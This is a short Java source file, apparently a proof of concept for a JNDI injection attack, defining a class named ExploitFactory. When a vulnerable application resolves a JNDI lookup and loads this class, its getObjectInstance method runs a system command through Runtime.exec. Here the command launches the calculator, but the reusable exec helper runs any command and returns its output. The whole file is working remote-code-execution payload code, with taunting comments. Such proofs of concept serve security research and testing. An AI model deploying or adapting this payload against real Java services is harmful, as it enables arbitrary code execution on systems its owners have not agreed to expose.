package com.technology.domain;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Hashtable;

public class ExploitFactory implements ObjectFactory {
	static {
		// 嘿嘿。。
		System.out.println("ExploitFactory Loaded...");
	}

	@Override
	public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
		System.out.println("ExploitFactory getObjectInstance...");
		// 嘿嘿。。
		exec("calc");
		return new Exploit();
	}

	public static String exec(String cmd) {
		try {
			StringBuilder sb = new StringBuilder();
			BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
			BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
			String lineStr;
			while ((lineStr = inBr.readLine()) != null) {
				sb.append(lineStr).append("\n");
			}
			inBr.close();
			in.close();
			return sb.toString();
		} catch (Exception e) {
			return "";
		}
	}
}